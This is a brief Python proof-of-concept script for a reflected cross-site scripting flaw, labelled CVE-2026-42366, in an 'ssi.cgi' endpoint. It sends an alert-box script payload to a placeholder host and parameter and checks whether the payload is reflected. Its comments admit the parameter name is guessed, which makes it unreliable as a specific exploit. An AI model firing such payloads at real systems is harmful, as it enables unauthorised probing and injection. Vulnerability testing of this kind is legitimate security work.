CVE-2026-42366

# PoC for CVE-2026-42366 Reflected XSS # The vulnerability exists in the ssi.cgi endpoint. import requests target_url = "http://target-ip/ssi.cgi" # Malicious payload to execute JavaScript payload = "<script>alert('CVE-2026-42366_XSS');</script>" # Constructing the malicious request (assuming a vulnerable parameter) # The specific parameter name might vary, this is a generic example. params = { "vulnerable_param": payload } try: response = requests.get(target_url, params=params) # Check if the payload is reflected in the response if payload in response.text: print("[+] Vulnerability confirmed! Payload reflected in response.") else: print("[-] Payload not reflected. Parameter might be different or patched.") except Exception as e: print(f"Error: {e}")

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